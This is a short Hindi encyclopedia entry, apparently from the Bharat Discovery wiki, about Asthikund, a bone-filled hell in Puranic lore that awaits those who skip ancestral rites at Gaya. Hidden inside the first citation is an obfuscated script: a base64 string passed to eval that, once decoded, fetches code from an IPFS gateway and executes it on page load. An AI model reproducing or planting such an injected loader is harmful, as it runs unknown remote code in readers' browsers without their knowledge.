अस्थिकुण्ड

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

अस्थिकुण्ड पौराणिक धर्म ग्रंथों और हिन्दू मान्यताओं के अनुसार एक नरक का नाम है।[1] पुराणानुसार यहाँ हड्डियाँ भरी हुई हैं। जो लोग गया में पिण्डदान आदि नहीं करते, वे इसी नरक में जाते हैं। पिण्डदान के लिए गया का विष्णुपद विख्यात है।[2]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. पौराणिक कोश |लेखक: राणाप्रसाद शर्मा |प्रकाशक: ज्ञानमण्डल लिमिटेड, आज भवन, संत कबीर मार्ग, वाराणसी |पृष्ठ संख्या: 41 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ब्रह्मावैवर्त्त पुराण

संबंधित लेख